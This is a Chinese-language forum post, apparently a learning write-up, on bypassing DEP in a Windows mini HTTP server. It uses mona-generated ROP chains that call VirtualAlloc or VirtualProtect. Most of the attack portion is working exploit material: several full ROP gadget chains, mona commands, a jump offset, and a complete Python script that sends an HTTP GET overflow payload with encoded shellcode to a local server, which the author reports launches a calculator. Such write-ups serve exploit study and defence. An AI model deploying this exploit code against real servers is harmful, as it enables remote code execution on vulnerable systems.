使用ROP我们可以尝试创建需要执行的 shellcode,但不确定我们是否能够找到所有必要的指令。幸运的是Windows API 为我们提供了一系列功能,使我们能够将进程堆栈标记为可执行内存,一旦完成,我们将能够在堆栈上执行代码,就好像它是传统的漏洞一样。
根据 Windows 版本的不同,有不同的API功能,最常用的是VirtualAlloc和VirtualProtect。

VirtualAlloc在官方文档中使用语法为:

1
2
3
4
5
6
LPVOID VirtualAlloc(
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);

VirtualAlloc接收的参数是开始预留的内存地址、要预留的内存大小(以字节为单位)、要进行的预留类型以及预留页的内存保护。最后一个参数,如果设置为0x40(PAGE_EXECUTE_READWRITE),将允许我们在该保留内存区域中执行代码。

VirtualProtect在官方文档中使用语法为:

1
2
3
4
5
6
BOOL VirtualProtect(
  [in]  LPVOID lpAddress,
  [in]  SIZE_T dwSize,
  [in]  DWORD  flNewProtect,
  [out] PDWORD lpflOldProtect
);

VirtualProtect接收的参数用于更改保护的地址、要更改的区域的字节大小、所需的保护类型 (0x40) 以及指向将接收区域当前保护值的变量的指针。最后一个值必须是一个正确的变量,如果它为null或不存在的变量,则调用将失败。

我们在Immunity Debugger中运行!mona rop,来查找可利用的rop指令:
生成的结果保存在了rop.txt、rop_chains.txt、rop_suggestions.txt、stackpivot.txt文件中。

图片描述

在rop_chains.txt文件中,mona尝试生成一串指令来调用Virtualalloc 或Virtualprotect函数,并将堆栈标记为可执行,以便执行我们的shellcode。这串指令在 Python、Ruby 或 Javascript 中以函数的形式呈现,以便能够直接插入到我们的漏洞中。
这是mona创建的函数,用于从python中调用Virtualalloc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
*** [ Python ] ***
 
  def create_rop_chain():
 
    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets = [
      #[---INFO:gadgets_to_set_esi:---]
      0x00000000# [-] Unable to find API pointer -> eax
      0x0040c17f# MOV EAX,DWORD PTR DS:[EAX] # RETN [minihttpd.exe]
      0x004176cf# PUSH EAX # POP ESI # RETN 0x04 [minihttpd.exe]
      #[---INFO:gadgets_to_set_ebp:---]
      0x0040b89b# POP EBP # RETN [minihttpd.exe]
      0x41414141# Filler (RETN offset compensation)
      0x004165ec# & push esp # ret 0x0c [minihttpd.exe]
      #[---INFO:gadgets_to_set_ebx:---]
      0x0040d121# POP EBX # RETN [minihttpd.exe]
      0x00000201# 0x00000201-> ebx
      #[---INFO:gadgets_to_set_edx:---]
      0x0040c1f6# POP EBX # RETN [minihttpd.exe]
      0x00000040# 0x00000040-> edx
      0x0040c93c# XOR EDX,EDX # RETN [minihttpd.exe]
      0x0040aeae# ADD EDX,EBX # POP EBX # RETN 0x10 [minihttpd.exe]
      0x41414141# Filler (compensate)
      #[---INFO:gadgets_to_set_ecx:---]
      0x0040ef10# POP ECX # RETN [minihttpd.exe]
      0x41414141# Filler (RETN offset compensation)
      0x41414141# Filler (RETN offset compensation)
      0x41414141# Filler (RETN offset compensation)
      0x41414141# Filler (RETN offset compensation)
      0x00420f95# &Writable location [minihttpd.exe]
      #[---INFO:gadgets_to_set_edi:---]
      0x00405be9# POP EDI # RETN [minihttpd.exe]
      0x00403f01# RETN (ROP NOP) [minihttpd.exe]
      #[---INFO:gadgets_to_set_eax:---]
      0x0040d1ec# POP EAX # RETN [minihttpd.exe]
      0x90909090# nop
      #[---INFO:pushad:---]
      0x00419126# PUSHAD # ADD AL,0 # RETN [minihttpd.exe]
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
 
  rop_chain = create_rop_chain()

但是这里面包含了坏字符,我们需要进行排除:

1
!mona rop -cpb "\x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f"

运行mona rop后,rop_chains.txt文件我们将看到无法生成字符串,因为没有指令可以生成没有坏字符的字符串。
默认情况下,当 mona 搜索 ROP 字符串时,它会丢弃操作系统自己的模块来查找gadget。在本例中,我们将强制 mona使用其他模块来查看是否能找到任何有效的字符串。直接在全部模块找可利用的Virtualalloc ROP:

1
!mona rop -cpb "\x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f" -m *.dll

这一次在rop_chains.txt中,我们发现了以下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
*** [ Python ] ***
 
  def create_rop_chain():
 
    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets = [
      #[---INFO:gadgets_to_set_esi:---]
      0x77c34fcd# POP EAX # RETN [msvcrt.dll]
      0x77dd121c# ptr to &VirtualAlloc() [IAT ADVAPI32.dll]
      0x77e82d1c# MOV EAX,DWORD PTR DS:[EAX] # RETN [RPCRT4.dll]
      0x77f53564# XCHG EAX,ESI # RETN [GDI32.dll]
      #[---INFO:gadgets_to_set_ebp:---]
      0x77c31a04# POP EBP # RETN [msvcrt.dll]
      0x77df965b# & jmp esp [ADVAPI32.dll]
      #[---INFO:gadgets_to_set_ebx:---]
      0x77eed7ae# POP EAX # RETN [RPCRT4.dll]
      0xffffffff# Value to negate, will become 0x00000001
      0x76fb1ded# NEG EAX # RETN [winrnr.dll]
      0x77f301e4# XCHG EAX,EBX # RETN [GDI32.dll]
      #[---INFO:gadgets_to_set_edx:---]
      0x7c87f229# POP EAX # RETN [kernel32.dll]
      0xa2800fc0# put delta into eax (-> put 0x00001000 into edx)
      0x7c87fa01# ADD EAX,5D800040 # RETN 0x04 [kernel32.dll]
      0x77c58fbc# XCHG EAX,EDX # RETN [msvcrt.dll]
      0x41414141# Filler (RETN offset compensation)
      #[---INFO:gadgets_to_set_ecx:---]
      0x77eed7ae# POP EAX # RETN [RPCRT4.dll]
      0xffffffc0# Value to negate, will become 0x00000040
      0x5ad7e91c# NEG EAX # RETN [uxtheme.dll]
      0x77c14001# XCHG EAX,ECX # RETN [msvcrt.dll]
      #[---INFO:gadgets_to_set_edi:---]
      0x7c902563# POP EDI # RETN [ntdll.dll]
      0x77e8d224# RETN (ROP NOP) [RPCRT4.dll]
      #[---INFO:gadgets_to_set_eax:---]
      0x7c87fbcb# POP EAX # RETN [kernel32.dll]
      0x90909090# nop
      #[---INFO:pushad:---]
      0x7e423ad9# PUSHAD # RETN [USER32.dll]
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
 
  rop_chain = create_rop_chain()

现在,我们有一个有效的漏洞利用指令链,它将执行VirtualAlloc来更改进程堆栈的状态,并允许我们在其上执行代码。
在我们之前的漏洞利用中,我们使用从USER32.dll获取的地址来执行jmp esp,该地址是为了执行ESP指向的代码。由于我们现在在ESP中拥有的不是代码,而是指向代码的指针,因此我们需要将该地址更改为ret。ret语句的作用是从堆栈顶部获取值并将其放入EIP(指向指令的指针)中。

生成rop.txt:

1
!mona rop -cpb "\x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f" -m *.dll

从rop.txt文件中,我们可以找到可利用的# POP ECX # RETN这种gadget,我们使用这一条:

1
0x77c4017f # POP ECX # RETN    ** [msvcrt.dll] **   |   {PAGE_EXECUTE_READ}

这条指令的含义为:
POP ECX:将从堆栈中弹出栈顶的值并将其存储在 ECX 寄存器中。
RETN:弹出栈顶的值输入到EIP中,执行EIP。

计算跳转到shellcode的偏移(最好用$+0x28):

1
2
3
metasm > Interrupt: use the 'exit' command to quit
metasm > jmp $+0x24
"\xeb\x22"

图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import sys
import socket
import struct
 
# Bad Chars: \x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f'
 
offset_eip = 967
offset_shellcode = 103 # use to 'A'
EIP = struct.pack('<I', 0x77c4017f) # POP ECX, RET (msvcrt.dll)
 
JMP = '\xeb\x22' # jmp $+0x24 Jump to shellcode
buffer = 'A' * offset_shellcode
 
shellcode = (
"\xb8\x69\xfc\x2c\xd8\xdb\xc9\xd9\x74\x24\xf4\x5e\x29\xc9"
"\xb1\x31\x31\x46\x13\x83\xc6\x04\x03\x46\x66\x1e\xd9\x24"
"\x90\x5c\x22\xd5\x60\x01\xaa\x30\x51\x01\xc8\x31\xc1\xb1"
"\x9a\x14\xed\x3a\xce\x8c\x66\x4e\xc7\xa3\xcf\xe5\x31\x8d"
"\xd0\x56\x01\x8c\x52\xa5\x56\x6e\x6b\x66\xab\x6f\xac\x9b"
"\x46\x3d\x65\xd7\xf5\xd2\x02\xad\xc5\x59\x58\x23\x4e\xbd"
"\x28\x42\x7f\x10\x23\x1d\x5f\x92\xe0\x15\xd6\x8c\xe5\x10"
"\xa0\x27\xdd\xef\x33\xee\x2c\x0f\x9f\xcf\x81\xe2\xe1\x08"
"\x25\x1d\x94\x60\x56\xa0\xaf\xb6\x25\x7e\x25\x2d\x8d\xf5"
"\x9d\x89\x2c\xd9\x78\x59\x22\x96\x0f\x05\x26\x29\xc3\x3d"
"\x52\xa2\xe2\x91\xd3\xf0\xc0\x35\xb8\xa3\x69\x6f\x64\x05"
"\x95\x6f\xc7\xfa\x33\xfb\xe5\xef\x49\xa6\x63\xf1\xdc\xdc"
"\xc1\xf1\xde\xde\x75\x9a\xef\x55\x1a\xdd\xef\xbf\x5f\x11"
"\xba\xe2\xc9\xba\x63\x77\x48\xa7\x93\xad\x8e\xde\x17\x44"
"\x6e\x25\x07\x2d\x6b\x61\x8f\xdd\x01\xfa\x7a\xe2\xb6\xfb"
"\xae\x81\x59\x68\x32\x68\xfc\x08\xd1\x74"
)
 
def create_rop_chain():
    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets = [
    #[---INFO:gadgets_to_set_esi:---]
    0x77c21d16# POP EAX # RETN [msvcrt.dll]
    0x77e71210# ptr to &VirtualProtect() [IAT RPCRT4.dll]
    0x77e87a76# MOV EAX,DWORD PTR DS:[EAX] # RETN [RPCRT4.dll]
    0x5d0f11f6# XCHG EAX,ESI # RETN [COMCTL32.dll]
    #[---INFO:gadgets_to_set_ebp:---]
    0x77c20583# POP EBP # RETN [msvcrt.dll]
    0x77df965b# & jmp esp [ADVAPI32.dll]
    #[---INFO:gadgets_to_set_ebx:---]
    0x76f3c426# POP EAX # RETN [DNSAPI.dll]
    0xfffffdff# Value to negate, will become 0x00000201
    0x77dd9b06# NEG EAX # RETN [ADVAPI32.dll]
    0x77f301e4# XCHG EAX,EBX # RETN [GDI32.dll]
    #[---INFO:gadgets_to_set_edx:---]
    0x7c87f318# POP EAX # RETN [kernel32.dll]
    0xffffffc0# Value to negate, will become 0x00000040
    0x76f75057# NEG EAX # RETN [WLDAP32.dll]
    0x77c58fbc# XCHG EAX,EDX # RETN [msvcrt.dll]
    #[---INFO:gadgets_to_set_ecx:---]
    0x77c521ee# POP ECX # RETN [msvcrt.dll]
    0x7e47292c# &Writable location [USER32.dll]
    #[---INFO:gadgets_to_set_edi:---]
    0x7c902579# POP EDI # RETN [ntdll.dll]
    0x77e8d224# RETN (ROP NOP) [RPCRT4.dll]
    #[---INFO:gadgets_to_set_eax:---]
    0x7c880176# POP EAX # RETN [kernel32.dll]
    0x90909090# nop
    #[---INFO:pushad:---]
    0x77dfc5ee# PUSHAD # RETN [ADVAPI32.dll]
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
     
rop = create_rop_chain()
 
# payload = 'A' * 103 + shellcode + 'A' * (until 967) + EIP + '\xff\xff\xff\xff' + rop + JMP + 'E' * (until 1500)
 
buffer += shellcode
buffer += 'A' * (offset_eip - len(buffer))
buffer += EIP
buffer += '\xff\xff\xff\xff' # value poped to ECX (padding)
buffer += rop
buffer += JMP
buffer += 'E' * (1500 - len(buffer))
HOST = '127.0.0.1'
PORT = 80
 
req = "GET /"+buffer+"HTTP/1.1\r\n\r\n"
print "Sending "+str(len(req))+" bytes."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(req)
data = s.recv(1024)
s.close()
print 'Received', repr(data)

可以看到已经可以正常弹出计算器了:

图片描述

参考链接

https://whereisk0shl.top/post/2016-10-24
https://www.infosecmatter.com/metasploit-module-library/?mm=exploit/windows/ftp/absolute_ftp_list_bof
Windows Shellcode学习笔记——利用VirtualAlloc绕过DEP
dep-bypass-mini-httpd-server-1-2


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2024-5-27 15:18 被bwner编辑 ,原因:
收藏
免费 7
支持
分享
最新回复 (1)
雪    币: 3059
活跃值: (30876)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
感谢分享
2024-4-29 09:58
1
游客
登录 | 注册 方可回帖
返回
//